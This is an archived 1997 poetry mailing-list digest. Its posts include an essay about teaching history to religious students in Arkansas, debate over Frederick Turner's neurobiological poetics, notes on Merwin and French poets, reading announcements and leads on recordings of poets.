It was around the beginning of my second year there that I realised that, backwater that it is, Arkansas was a microcosm of all that was happening in the United States at the time. I was able to reach this conclusion because, starting in the second year, my expereince with the people of the Arkansas was intensified, and diffracted, through the lens of the classroom. I was associated with one of the departments of the University of Arkansas, a department which believed that its graduate students should work as qualified professors while being paid as if they were teaching assistants, which was my official title.

My last stop in the academic transhumance of 'teaching assistantship' was on the West coast of Canada, in Vancouver, and it was there that I had had my most recent classroom experiences. On the surface the students seemed not so different from the kids I had encountered in Vancouver--innocent types, tarty types, crunchy types, jocks, well-educated and intelligent Europeans (both young women as it happens), a mature student who knew more about the subject than I did, but who refrained from speaking up in class for fear of dominating it, a smattering of American imports, and the odd hard-working intelligent local young person. Odd, I must stress odd.

Sometimes, though, there are strong currents running 'neath the surface of the seemingly most stagnant of pools. By about the mid-point of the semester I was dragging my increasingly bored charges through the late Roman Empire and interregnum. Time, then, for Christianity to rear its ugly head as a topic of discussion. I remember now receiving warnings about how dangerous this would be from a former colleague of mine [she had since fled the sinking ship of the King Fahd Centre for UCLA] but in that hectic semester the warnings had obviously remained neglected under some pile of papers or dirty laundry somewhere.

My students weren't doing particularly well on my weekly quizzes, designed

to allow them to show me that they'd read and understood the textbook [which was pitched, I believe, to a tenth-grade reading level]. But, I reasoned, History is really about sources and biases, so I allowed them to make up extra credit by eye-balling one of the documents in the textbook and putting it in the context of that week's chronology [I laughingly refered to this exercise in summary as 'primary source analysis']. They hadn't been doing very well with these either, which led me to believe that tenth grade is no longer what it used to be, or perhaps no longer what it used to be in the United States.

When Christianity reared itself up out of the frothy waters of the Roman Imperial period, there was a sudden overwhelming demand from students to prepare an analysis of a particular document--a snippit from the Sermon on the Mount. The students who won the lottery were, both of them, soft-spoken and not terribly bright older women. When the time came for them to present their 'analyses' they [independently] gave me the least historical treatment of a document that I have ever seen. The problem didn't rest with the presenters' intellectual short-comings, but in the rest of the class. Though willing to pour their scepticism over the documents dealing with the [up to that point pagan] political figures in the text, this scepticism was now replaced by vacuous smiles, head-nodding, and (to my dismay) scramblings to THEIR BIBLES to answer a question I asked about whether or not the evangelist Matthew was one of the Apostles.

Around the centre of the classroom there were a clot of two or three guys, all sharing a bible. When they came to the passage that they were looking for [a confirmation (I assume) that Matthew was, in fact, one of the apostles] they all made made fists with their right hands and punched the air in celebration. It was much the same gesture that I have seen on the part of men watching baseball on television. After an ad-long debate on some fine statistical point or other [number of errors or Rs-B-I on the part of a particular player, etc.], the colour commentator returns to verify the claims of one beer-drinking statistician or the other. Thence the air-punching.

'My god,' I said to one of my skater-boys, a pair of silver lame glasses adorning his bleached hair, 'you're packin' a Bible?'

'Of course,' he smiled.

Turns out most of them were carrying Bibles. And most of them worked very hard to turn the rest of the period into a revivalist 'Let us declare our faith unto HIM' session. My increasingly frazzled [I'd been up since two in the morning working on a presentation] efforts to coax them back to an 'analytical' frame of mind were met by stares of incomprehension. Clearly Christianity was not an appropriate subject for historical analysis.

> *This should not have surprised me, since Arkansas is an integral part of the post-consumerist paunch fettered beneath the Bible Belt. But I was surprised, and deceived, by the apparent normalcy of my students. The following week when I attempted to discuss the role of syncretism in the rise of Chistianity in the West--the way the early Christians placed certain feasts on the same days as older pagan festivals as a way of improving sales in those communities--the vacuous smiles turned to brow-furrowed hostility.*
>
> *'You mean to tell me,' demanded one young fellow who insisted upon calling himself a History major, 'that all our feast days are MAN-MADE?'*
>
> *I blinked back at him, wondering what he could be asking.*
>
> *'Of course they're man-made. Who else do you think made them?'*
>
> *More disturbing to me was the students' readiness to resume their cynicism about the material as soon as the early Christianity of the martyrs became 'Catholic Christianity,' since Catholicism is 'Worldly Anti-Christianity', the Whore of Babylon, and all that. It is not so much their intimate association with the early Christian church that bothers me--that's what Protestantism is all about, isn't it. It is their self-separation from the long continuity of History [and for that matter Christianity after the consolidation of the Roman church] that is so worrisome. It is as if these people are reacting against the worldly excesses of late imperial America by removing themselves from the world, just like the Hellenistic philosophies and religions--the early Epicurians and Mystery Religions--tried to do. 'Epicurians.' 'Mystery religions.' Subjects described in this textbook that my students swear they read but which they do not understand.*
>
> *These the citizens of the mightiest military-and-democratic power in the world.*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

109. **J. Tate**
Re: Frederick Turner's The Culture of Hope
Thu 6 Nov 1997

On Wed, 5 Nov 1997, David Kellogg wrote:

> *I think it's a three second, not three minute, line buffer. That'd be a long line.*

Yes, my mistake. I'm glad you caught that.

> *I don't doubt the usefulness of neurobiology for studying rhythm or any other aspect of poetry or poetic form. (I used to be managing editor of _The Journal of Neuroscience_ and I currently teach in an special program combining neurobiology, philosophy of mind, cognitive anthropology, clinical psychology, and cognitive linguistics; so I'm a pretty big fan of the neurosciences.)*
>
> *Rhythm is biological, cognitive, cultural, and sociopolitical, yes: but the stupidity of Turner's essay is in its prescriptive project, an a priori description of rhythm in terms that lead directly to the New Formalism. How handy. It is a perfect example of what B. H. Smith, following Pierre Bourdieu, has called "the Others' Poison Effect": what is bad for you must be bad for others. Subsuming meter to neural firings (and secondarily to breath and heartbeat, in a bizarre anti-Olson riff) for Turner means in the end that metered poetry is healthy and free verse neither healthy nor, as he says in a footnote somewhere, even really poetry. But if so, how come what would give Turner a heart attack really makes me groove? Good Doc Turner wants to give me a poetic pacemaker; says I've got me a baaaad ticker.*

I heartily agree with this assessment. Turner tends to uncomplicate, for instance, the political implications of rhythm. Rhythm for him seems perfectly liberatory, necessarily democratic and therefore "Good." But, as I'm sure you can speak to better than I can, different paced rhythms tend to have different physical effects. Slower rhythms can lull us to sleep, and, if paced too fast, a rhythm can lead to anarchic madness. Sleep and madness ain't too liberatory to me.

Yet, while I agree with you, I seem to have found few others who even try to join the discussion of poetic meter and psychobiology at all. Do you have any suggestions on where to find more adequate discussions of the intersection of the two, poetic rhythm and neuroscience? I've turned up interesting research on music and neuroscience, but little on poetry.

Best,

Joseph Tate
Graduate Student
U. of Washington, Seattle

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110. Marcella
Re: Other poetry discussions
Thu 6 Nov 1997

Just to let you know--not only was Rosmarie Waldrop's reading last night = wonderful, but Jacques Roubaud was quite a kick too! Hopefully one is = able to find his books in print here in the US. Discussion of more = contemporary poets is always welcome to me.

From: Brent Long
Sent: Wednesday, November 05, 1997 1:30 PM
To: [redacted]
Subject: Other poetry discussions

I have been thinking about the idea of other discussion lists this = morning, and am wondering why there are no discussions on some of the other contemporary poets that are around these days. I never hear anything on Merwin (a personal favorite of mine) or Levertov or other writers like that. I saw a posting today announcing Rosmarie Waldrop's upcoming = reading tonight, but she and her work are never discussed here, either, and that = is a shame. She and her husband are both amazing poets. I certainly don't = see myself as being attracted to only one or two "styles" of poetry, and = would really like to see a broad range of writers and styles addressed. What do some of you think? Is there a call to pursue this?

Brent

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111. hg
computer-generated poetry
Thu 6 Nov 1997

---

bleep-bleep
bleep
bleep -- bleep
bleep?
bleep, bleep, bleep; bleep.
bleep!
!bleep
bleep. bleep; bleep, bleep
?bleep
bleep -- bleep

bleep
bleep-bleep

- hey, this looks a lot like THE ILIAD. - hg, a.k.a. Hominy Grits

↑ Index

112. Aviva Vogel
Re: POETICS Digest - 2 Nov 1997 to 3 Nov
Thu 6 Nov 1997

Brent, interesting and well-articulated comments on Merwin. Haven't read enough to have an opinion myself, or respond to your critique, but I'm challenged to go and check out your points. Thanks, Aviva

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113. mark weiss
Re: Speaking American
Fri 7 Nov 1997

Here's a couple of stories from two classes that I taught in Tucson. Call them extensions of and partial correctives to your data.

I arrived in Tucson on the eve of the Gulf War. In all that patriotic frenzy I decided to ask my Freshman Comp students to write about the crisis from Saddam Hussein's point of view. None of them would do it--they thought that even entertaining the fantasy was unpatriotic. Half of them transferred out of my class, which wasn't such a bad thing--it actually made it possible for me to teach the remnant.

Of those left about a third were hispanic, and all professed to be Christians. Before Easter I suggested that some of them might like to go to Old Pascua, a tiny Yaqui reservation surrounded by Tucson, to see the half-pagan ceremonies, at which point my brightest student raised his hand and asked, "Mark, what's Easter about?"

When I was able to get my mouth working again I determined that he wasn't putting me on, and I asked the class which of them knew that Easter was a celebration of the crucifiction and resurrection of Christ. Only the hispanic kids raised their hands. In the ensuing discussion I learned that for the other kids Easter had always been a secular holiday for Christian children, involving bunnies and chocolate.

During my second year in Tucson I taught an American lit course. I had the kids read a rather floridly Calvinist captivity narrative. What they found most exotic about it was the brand of Christianity. To a man or woman they professed

membership in radical Protestant sects, but they didn't recognize the protagonist as a coreligionist. They all believed in god, virgin birth, baby Jesus and heaven, but they didn't believe in hell and had never heard of original sin.

This same group, when I polled them when we were reading Fear and Loathing in Las Vegas (it was an interesting, not to say eccentric, syllabus), admitted, with two exceptions, to smoking pot, and with three exceptions, to snorting coke.

So maybe the defensiveness about their religion, and the bigotry, remain, but not much else. Those kids who carried their bibles nonetheless had to check before answering even the simplest questions, after all. And maybe all those surveys that purport to tell us that Americans are the most religious people on earth, greatly comforting the Christian Coalition, ask the wrong questions. Apparently it's the Disney version, not the King James, that the kids and their elders are reading.

Is that a hopeful thought?

At 06:05 PM 11/6/97 -0700, you wrote:
>>Date: Sun, 26 Oct 1997 14:15:18 -0600 (CST)
>>From: Michael Quilty <[redacted]>
>>X-Sender: [redacted]
>
>>Speaking American
>>
>>
>>Sometimes you forget that you're in an Alien land in which you can never
>>expect to be comfortable. Then, fortunately, you're reminded.
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>>It was in the last half-decade of the twentieth centuy that I arrived in
>>that odd country called 'The United States'. When I lived in Canada I
>>confessed to one day wanting to visit four American cities--Boston, New
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>>assistants, which was my official title.
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>>brow-furrowed hostility.
>>
>>'You mean to tell me,' demanded one young fellow who insisted upon
>>calling himself a History major, 'that all our feast days are MAN-MADE?'
>>
>>I blinked back at him, wondering what he could be asking.
>>
>>'Of course they're man-made. Who else do you think made them?'
>>
>>More disturbing to me was the students' readiness to resume their cynicism
>>about the material as soon as the early Christianity of the martyrs became
>>'Catholic Christianity,' since Catholicism is 'Worldly Anti-Christianity',
>>the Whore of Babylon, and all that. It is not so much their intimate
>>association with the early Christian church that bothers me--that's what
>>Protestantism is all about, isn't it. It is their self-separation from
>>the long continuity of History [and for that matter Christianity after the
>>consolidation of the Roman church] that is so worrisome. It is as if
>>these people are reacting against the worldly excesses of late imperial
>>America by removing themselves from the world, just like the Hellenistic
>>philosophies and religions--the early Epicurians and Mystery
>>Religions--tried to do. 'Epicurians.' 'Mystery religions.' Subjects
>>described in this textbook that my students swear they read but which they
>>do not understand.
>>
>>These the citizens of the mightiest military-and-democratic power in the
>>world.
>>
>
>
>
>
>George Bowering.

> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
>

↑ Index

114. Tom Orange
recent french poetry
Fri 7 Nov 1997

---

speaking of roubaud, i've been reading around a lot in the likes of michel deguy, jacques dupin, anne-marie albiach, claude royet-journoud, emmanuel hocquard, jean davie, claire malroux, et al. any other names i should be checking out, esp., say, folks born after 1950?

thanks bunches,
t.

↑ Index

115. Patricia Cockram
Re: Modernism discussion list
Fri 7 Nov 1997

Modernism is often a very lively list, but it is not all poetry. It is
useful for those of us interested in interdisciplinary issues, as it often
includes art, music, politics, etc.
Patricia
At 11:59 AM 11/5/97 -0600, you wrote:
>A modernism discussion list already exists--at the
>University of Washington.
>
>Just send an e-mail note--no subject--to:
>
>[redacted]
>
>and just type as the body of the message:
>
>subscribe modernism <your name>
>

>After a little while you'll get an e-mail note asking you to confirm
>your request. Just reply and you're on!
>
>I've been on the list for a couple of weeks now and haven't gotten very
>much mail. . . . so I don't know how lively, long, and involved the threads
>get.
>
>Maybe we can perk it up a bit.
>
>Hope this is helpful.
>
>Peter Zukowski
>[redacted]
>
>

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116. Susan Clark
FRENCH POETS b. after 1950 -- aka RADDLE MOON 16 launch at EAR at HERE]
Fri 7 Nov 1997

---

dear Tom Orange, dear List,

RE: [very] recent French poetry, previously unavailable in English translation, here's a reposting of the announcement of the RADDLE MOON 16 launch in the Ear at HERE series later this month.

On Novenmber 22, there will be a book party/benefit launch for RADDLE MOON 16 : * 22 New [to North America] French Writers * guest-edited by Norma Cole and Stacy Doris

New York area contributors to this issue -- Ann Lauterbach, Sianne Ngai, Serge Gavronsky, Melanie Neilson, Lee Ann Brown, Nick Piombino, Richard Sieburth, Fiona Templeton, Chet Wiener, Jena Osman, Eleni Sikelianos and Stacy Doris -- are invited to read from their translations of Hubert Lucot, le Lievre de Mars, Albane Provoust, Sandra Moussempes, [OULIPO- associated] Michelle Grangaud, Kati Molnar, Christophe Tarkos, Isabelle Garo, Annie Zadek, Josee Lapeyriere, Veronique Vassiliou, and Christophe Marchand-Kiss [please fill in accents, Netscape won't]

The 200-page issue also includes the work of : Elisabeth Jacquet, Manuel Joseph,
Sabine Macher, Sebastien Smirou, Huguette Champroux, Caroline Dubois, Cecile Gaudin,

and Oscarine Bosquet translated by other Canadian and US poets as well one
untranslated work [a "poeme-installation," 19 Jours de Chant] and an image/text piece, "7 Adieux" both by Frederique Guetat-Liviani

It's the last event in the Ear at HERE series before Thanksgiving, so drop by Saturday at 3 pm, Nov. 22 at HERE, 145 6th Ave (between Spring and Broome) NYC

!refreshments!

RADDLE MOON is also available by subscription [$15] or single copy [$10] from
RADDLE MOON, MainSpace, 518-350 East Second Avenue, Vancouver, BC V5T 4R8 Canada.
[US people please pay in US dollars; cheques/checks and money orders to RADDLE MOON ok], or
through Small Press Distribution [San Francisco].

Hope to see you there,
Susan Clark
[redacted]

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117. Pierre Joris
a noun-cement
Fri 7 Nov 1997

Was asked by no-cyborgians to pass the following messages along, like stuff's happening in nueva york -- here goes, Pierre:

URGENT ANNOUNCEMENT of vital importance to the poetry community !!! Communique from Tony Dohr:

"Here & forth with, let it be known to all that a SPONTANEOUS & AUTONOMOUS Poetry Conference has been declaired."

Where: NEW YOURK CITY
When: November 12th through November 16th
What:

Wednsday November 12th at st. marks church (2nd ave. & 10th street--8pm) PETER GIZZI & LORENZO THOMAS
"Two reader's spelled with three Z's, how exciting!" --Vladimir Klebnikov

Thursday November 13th poetry city (5 union sqare west, 7th floor--7pm) ANDREA BRADY & JENNIFER MOXLEY "Cecil = Yes" --Konrad Adenaour

Friday November 14th st. marks church (2nd ave. & 10th st--10:30 pm) Book party for CHRIS STROPHOLINO, MITCH HIGHFIL, YUKI HARTMAN, & DGLS ROTHSCHILD "I am a Transparent Eye-Ball" --Rod Smith

Saturday November 15th here (6th ave. & Dominic st.--3pm) JUDITH GOLDMAN & JOHANNA DRUCKER "Think of me when this you see" --Gertrude Stein

Sunday November 16th zinc bar (90 West Houston 630 pm) VOLE with PETER CULLEY & Special Guests "The greatest Rock-&-Roll band in the history of western civilization" --Bob Zimmerman

Besides the readers, other people who will be in town, though i cannot guarentee that they will talk to you--Bruce Andrews, Anselm Berrigan, Leanne Brown, Brenda Coultas, Kevin Davies, Jordan Davis, Tim Davis, Stacy Doris, Joe Eliot, Steve Evans, Dan Farrell, Ed Friedman, Rob Fitterman, Drew Gardner, Lisa Jarnot, Garrett Kalenburg, Sean Killian, Deirdre Kovaks, Andy Levy, Kim Lyons, Jackson Mac Low, Sianne Ngai, Heather Ramsdale, Kim Rosenfeld, Elanie Siklianous, Brian Kim Stefans, Gary Sullivan, Chet Wiener & many more !!!!! (P.S. By saying that i wasn't guarenteeing that they will speak with you i was just stating the obvious, not implying that these people are snooty or anything.)

EVERY ONE IS WELCOME !!

YOU DON'T NEED CREDENTIALS !!

Just come & hang out, there will be people standing around talking about poetry--get to know them. & though you "Don't need no stinking badges" if you happen to have one that identifies you as an AUTONOMOUS SPONTANEOUS Conferee, you will be easier to pick out of a crowd.

Badges (for those without magic markers & access to label paper) will be available (of a kind) at the door on opening night (wed.) {however we encourage you to make your own.

All are welcome!

Passs the word arround, this is a real conference, only people willing to crash are invited.

Please help get the word out. KEEP POETRY ALIVE !!

-T.Dohr
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I think there is a world market for about five computers.'

-Thomas J. Watson
Chairman of the Board-IBM, 1943
==========

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118. **Lawrence Upton.**
mainstream website
Fri 7 Nov 1997

---

mainstream website effectively does not exist at present

relaunch has been delayed

you can still reach my old site on Compuserve but that is because compuserve will not close it despite having had money taken back from them by visa

apologies for confusion and still more for non availability - it will be launched againas soon as it is possible to do so probably on a _global_ server

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119. **Mark Prejsnar**
Re: audiopoesis
Fri 7 Nov 1997

Right.... I'm precisely looking for an operation that can provide info about recordings from a wide range of sources. Most easily-contacted outfits like the AAP offer only one very narrow definition of poetry (and it ain't, to put it mildly, mine!!)

On Thu, 6 Nov 1997, Stacie Slotnick wrote:

> *I remember seeing once in the newsletter of the Academy of American Poets that they sell copies of their recordings.*

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120. **Brent Long**
C.D. Wright/Other poets for discussion
Fri 7 Nov 1997

Ok, so how about discussing C.D. Wright's most recent book of poetry, "Tremble". For those of you who have read it, I must say that it is one of the most well-crafted and beautiful collections i have read in quite a while. Far different from some of her other books (i.e. String Light, Translation of the Gospels Back

Into Tongues, etc.), she really paid attention to the details of craft and cadence. I saw her read in Cambridge with Paul Hoover a few weeks ago, and it was delightful. She also read from a new work which will be published by New Directions in 1998. Also, her husband, Forrest Gander, has a new book coming out in April, and he, too, is a fine writer.

↑ Index

121. Brent Long
Re: audiopoesis
Fri 7 Nov 1997

Might also check with Bob Holman from Mouth Almighty Records. As you will recall, Bob is the genius who did the United States of Poetry and probably would have some good info. for you.

Brent

At 09:33 AM 11/7/97 -0500, you wrote:
>Right....
>I'm precisely looking for an operation that can provide info about
>recordings from a wide range of sources. Most easily-contacted outfits
>like the AAP offer only one very narrow definition of poetry (and it
>ain't, to put it mildly, mine!!)
>
>On Thu, 6 Nov 1997, Stacie Slotnick wrote:
>
>> I remember seeing once in the newsletter of the Academy of American Poets
>> that they sell copies of their recordings.
>>
>
>

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122. Gwyn McVay
Re: recent french poetry
Fri 7 Nov 1997

/Toward a New Poetics: Contemporary Writing in France/, edited by Serge Gavronsky, no mean word-slinger hisself, has a whole mess of these cool folks between two purple covers--U. of California Press, 0-520-08793-3.

On Fri, 7 Nov 1997, Tom Orange wrote:

> *speaking of roubaud, i've been reading around a lot in the likes of michel deguy, jacques dupin, anne-marie albiach, claude royet-journoud, emmanuel hocquard, jean davie, claire malroux, et al. any other names i should be checking out, esp., say, folks born after 1950?*
>
> *thanks bunches,*
> *t.*

↑ Index

123. **cloward**

Re: Frederick Turner's The Culture of Hope

Fri 7 Nov 1997

To simply reject Frederick Turner's work as stupid is to dismiss some of the most important thinking being done today concerning the place of poetry in the world. While I agree that in the essay "The Neural Lyre" Turner can justifiably be accused of a certain amount of scientific reductionism, his work overall is perhaps the most interesting contemporary attempt to understand poetry as a universal human endeavor. I'm with Joseph Tate here, neurobiology does have some vital things to say about "what poetry is for." Turner's stance, at its heart is quite simple (see his book Natural Classicism for its most straight-forward elucidation): the roots of literature are in ritual performance and that, in turn, is rooted in our biological, evolutionary inheritance. Turner (incidentally, the son of the anthropologist Victor Turner) is the leading light of the New Formalist movement, with their evil agenda--defending narrative, rhyme and meter--and his poetic work, I think, will not appeal to many on this list, but I think it unwise to cursorily dismiss his writing. Turner is dealing with some vital and elementary questions in some surprisingly synthetic ways and, agree or disagree, some familiarity with his work is bound to deepen one's attempts to place the poetic impulse within the larger human endeavor. While I don't necessarily agree with Turner on his conclusions that current research justifies the type of closed structure he advocates, I have found his work, at the very least, a healthful corrective to some of the deadening and dysfunctional theory that currently bogs down contemporary work.

Best,
Tim Cloward

Graduate Student
University of Texas at Dallas

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124. William Burmeister Prod
Re: audiopoesis
Fri 7 Nov 1997

On Nov 7, 9:33am, Mark Prejsnar wrote:
> Subject: Re: audiopoesis
> Right....
> I'm precisely looking for an operation that can provide info about
> recordings from a wide range of sources. Most easily-contacted outfits
> like the AAP offer only one very narrow definition of poetry (and it
> ain't, to put it mildly, mine!!)
>
> On Thu, 6 Nov 1997, Stacie Slotnick wrote:
>
> > I remember seeing once in the newsletter of the Academy of American Po-
ets
> > that they sell copies of their recordings.
> >
>-- End of excerpt from Mark Prejsnar

Mark, There is a source of tape recordings of various poets, writers, and others (Noam Chomsky for example) with an outfit called Audio Forum. They claim to have 4,000 titles. They may also be able to point to other sources or listings. Hope this helps.

William B.

Audio Forum
Room K609, 96 Broad St.,
Guilford, CT 06437
[redacted]
FAX: [redacted]

↑ Index

125. p. durgin
Jennifer Moxley
Fri 7 Nov 1997

Anyone got an e-mail address for Jennifer Moxley?
Would be appreciated.
Patrick F. Durgin

|||[redacted]|||

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126. aerialedge
Re: audiopoesis
Fri 7 Nov 1997

Mark P & others-- You might contact The Writer's Center in Bethesda MD re Watershed Tapes-- they've done Opeen, Schuyler, Ashbery, more of course along the Rich, Merwin, line-- but anycase, only place I've seen that has Watershed Tapes (Poet's Audio Center) in last few years. Also, doesn't Naropa sell tapes? I have a Coolidge & a Cage tape from there.

--Rod

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127. Pritchett,Pat
Re: Frederick Turner's The Culture of Ho
Fri 7 Nov 1997

Interesting post, Tim. I'm by no means convinced however that poetry is _for_ anything, as you put it. For as soon as it's for something, it's also not for something else. In a word, this description smacks of the utilitarian. As Stephen Rodefer put it (quoted from Mark Prejsnar's latest ish of Misc. Proj) "It's not the business of poetry to be anything."

I haven't read "The Neural Lyre," but from your account Turner appears to be falling into the old nostalgia of the arts to locate its roots in the empirical. I don't why people still fall prey to this anxiety - this desire to locate roots as though the biological of itself can confer legitimacy, can alleviate the angst which poetry suffers whenever it compares itself to the sciences. Isn't it enough to say that poetry is a cultural product? That whatever dim primeval impulse first stimulated its rudimentary expressions that by now - several millennia later - poetry is a cultural construction and requires no further justification than that? As if it needed any in the first place.

Patrick Pritchett

From: cloward
To: POETICS
Subject: Re: Frederick Turner's The Culture of Hope
Date: Friday, November 07, 1997 9:51AM

To simply reject Frederick Turner's work as stupid is to dismiss some of the most important thinking being done today concerning the place of poetry in the world. While I agree that in the essay "The Neural Lyre" Turner can justifiably be accused of a certain amount of scientific reductionism, his work overall is perhaps the most interesting contemporary attempt to understand poetry as a

universal human endeavor. I'm with Joseph Tate here, neurobiology does have some vital things to say about "what poetry is for." Turner's stance, at its heart is quite simple (see his book Natural Classicism for its most straight-forward elucidation): the roots of literature are in ritual performance and that, in turn, is rooted in our biological, evolutionary inheritance. Turner (incidentally, the son of the anthropologist Victor Turner) is the leading light of the New Formalist movement, with their evil agenda--defending narrative, rhyme and meter--and his poetic work, I think, will not appeal to many on this list, but I think it unwise to cursorily dismiss his writing. Turner is dealing with some vital and elementary questions in some surprisingly synthetic ways and, agree or disagree, some familiarity with his work is bound to deepen one's attempts to place the poetic impulse within the larger human endeavor. While I don't necessarily agree with Turner on his conclusions that current research justifies the type of closed structure he advocates, I have found his work, at the very least, a healthful corrective to some of the deadening and dysfunctional theory that currently bogs down contemporary work.

Best,
Tim Cloward

Graduate Student
University of Texas at Dallas

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128. Douglas Barbour
Re: Ludwig von Glass
Fri 7 Nov 1997

---

mark weiss said:

<I think except for the valuation of Glass we're in agreement. Cats is probably better art than glass. There. I've waved a red flag.>

And I'd say yes you have. I am not a great fan of Glass, preferring Adams, Bryars, Nyman, Riech, Tower, for example. But Cats? Jeez, it was bad enough, & everything since even worse. Come on, Mark, someone who appreciates the late Beethoven quartets can do better than this...

But I rather like hearing them in the context of contemporary quartets as mucyh as hearing those recent works in the context of B's amazing work, just as I find it interesting to view some late Degas as contextualized by Rothko. There are lines of flight & connection between the great moments of art...hmm?

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

130. LAURA MORIARTY

Re: audiopoesis

Fri 7 Nov 1997

A few other sources for audio (and video)

The Annenberg/CPB Project
[redacted]
(They did Voices & Visions)

HarperCollins (Caedmon)
[redacted]
(This is an old source, not so contemporary.)

Ladyslipper
[redacted]
[redacted]
(Specializes in women. Catalogue lists tapes from various producers.)

Not sure if this is still current. It is an old listing from the Poetry Center catslogue.

There is a list of other audio and video sources at the back of the Poetry Center Catalogue published in 1990.

Pacifica Foundation
[redacted]
(KPFA, KPFK, WBAI etc) I'm not sure they are still around to sell tapes.

Poet's House

[redacted]

Were going to sell the tapes of 92nd St Y and Academy readings as of 1990 -

The Roland Collection (British)

[redacted] (US #)

011-44-79721421

Video - very large collection of weel-known writers

Watershed has been mentioned
[redacted]

I find that doing a Hotbot or other search can result in finding new sources Of course the Poetry Center at SFSU has a large collection - for anyone new to the list.

http://www.sfsu.edu/~newlit

Laura Moriarty

↑ Index

131. Harold Rhenisch

Re: Merwin

Fri 7 Nov 1997

I agree with Douglas Barbour about _Finding the Islands_. I also suspect there are formal possibilities there still untapped, a kind of sliding scale of consciousness, as in Riley's "In C", but gentler, less ecstatic. I still read books like _The Carrier of Ladders_ and _Writings to an Unfinished Accompaniment_ for the carved interaction between title and poem. The later books of poems and that prose book on Provence I wish I hadn't bought and which I never finished, though, are flat for me. I read _The Vixen_ a while back. The whole time, I found I was not reading the poems Merwin had set down, but different possibilities for the poems, reading completely against his lineation and rhythms, which seem horribly botched, as if he had just started the poems and then quit, forgetting to make any kind of shape or terseness. Curiously, I still can't make myself read them as he set them down. Something could be made out of that stuff. Maybe with a knife and a pot of glue.

Someone else said that Frost was a second-rate versifier, too. That's a little harsh, isn't it? My take is that he wrote about nine solid poems. As for the rest of them, well, there are very few poets who've written more good ones than that. There are only a half dozen Brecht pieces that seem worth returning to. Same for Merwin, perhaps. Let's not beat the guy up too much for that. This gets back to something I harped upon a while back: the need for a new assessment of twentieth century literature. What we have at the moment is a canon consisting of poems and movements defined as they arose. Exciting, sure, but now that we have a little distance we should be able to do a little cross-border shopping, placing things in larger perspectives, stuffing _Finding the Islands_ in with Pound's ballads, for instance, just to see if they can get along for an afternoon coffee.

Probably have to carry passports and pay some kind of duty, though. Rough.

Probably wind up drinking tea out of tuna tins behind the piano.

Harold Rhenisch

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132. Brent Long
Merwin
Fri 7 Nov 1997

Douglas Barbour was correct in stating that _Finding the Islands_ was a formal move for Merwin, but I only brought him up in the first place to celebrate some of his less-formal ventures. In _The Carrier of Ladders_ two poems in particular come to mind: "Little Horse", and "When You Go Away", which are both fine examples of an individual being in touch with emotion without it being so flowery or formal as to be boring. My main complaint with "contemporary" poetry these days is it can be very detached, especially when dealing with matters of human emotion. Although Merwin could indeed be seen as guilty of playing on the same theme from time to time, it is a theme he has (in my humble opinion) mastered.... and if it ain't broken, don't fix it.

I also feel (as I stated in an earlier post) that C.D. Wright is another fine poet whose work goes too often unnoticed or unmentioned on this list. I read lots of posts about Robert Creeley (whom I admire greatly), but there are other greats besides him. I can't just return to him and say, "Well, obviously everything this man says is a pearl, so this is who I am going to give my focus to". My idea of poetry is not that narrow. I would really like to see this list encompass a broader range of poets and their work to discuss. We owe that to ourselves and to people who turn to this fine list as a source for keeping up with what is going on in poetry these days.

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133. mark weiss
Re: Ludwig von Glass
Fri 7 Nov 1997

Natch to context. Try Boulez or, for quartets, Carter. And the first half of this century is incredibly rich in string quartets--better known than those since because they've had time to enter the repertory. Schoenberg, Webern, Volpe, Ives, Sibelius, Bartok, Debussy, Ravel, Shostakovich, to name a few of several different persuasions in no particular order. A listen in order to all the Bartok quartets or all the Carters after the first is a rewarding, exhausting experience.

I probably meant Alex Katz. (Alley Cats?)

Here's a thought: Because the language of music has changed so much across time I probably need something more by way of preparation to listen to, say, the opus 111 sonata or the Art of the Fugue than just my availability. That given, I'd usually like to hear them in as deep a solitude as possible, which recordings makes possible. Hearing the lines of dialogue between different

compositions is one way to listen (like hearing the echoes in Pound?), but the work also exists as a dialogue between me as listener and the achieved thought of the maker, and that's also a good way to listen. Fortunately, one doesn't have to choose.

At 09:16 AM 11/7/97 -0700, you wrote:
>mark weiss said:
>
><I think except for the valuation of Glass we're in agreement. Cats is
>probably better art than glass. There. I've waved a red flag.>
>
>And I'd say yes you have. I am not a great fan of Glass, preferring Adams,
>Bryars, Nyman, Riech, Tower, for example. But Cats? Jeez, it was bad
>enough, & everything since even worse. Come on, Mark, someone who
>appreciates the late Beethoven quartets can do better than this...
>
>But I rather like hearing them in the context of contemporary quartets as
>mucyh as hearing those recent works in the context of B's amazing work,
>just as I find it interesting to view some late Degas as contextualized by
>Rothko. There are lines of flight & connection between the great moments of
>art...hmm?
>
>==========
==========
===
>Douglas Barbour
>Department of English
>University of Alberta
>Edmonton Alberta T6G 2E5
>[redacted] FAX:[redacted]
>H: [redacted]
>~~~

134. mark weiss
Re: Frederick Turner's The Culture of Hope
Fri 7 Nov 1997

I myself have often danced around a fire with the other members of my tribe reciting Pope's Epistle to Arbuthnot during puberty rites.

At 09:17 AM 11/7/97 -0600, you wrote:
>To simply reject Frederick Turner's work as stupid is to dismiss some of
>the most important thinking being done today concerning the place of
>poetry in the world. While I agree that in the essay "The Neural Lyre"
>Turner can justifiably be accused of a certain amount of scientific
>reductionism, his work overall is perhaps the most interesting
>contemporary attempt to understand poetry as a universal human endeavor.
>I'm with Joseph Tate here, neurobiology does have some vital things to say
>about "what poetry is for." Turner's stance, at its heart is quite simple
>(see his book Natural Classicism for its most straight-forward
>elucidation): the roots of literature are in ritual performance and that,
>in turn, is rooted in our biological, evolutionary inheritance.

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135. henry g
Re: Frederick Turner's The Culture of Ho
Fri 7 Nov 1997

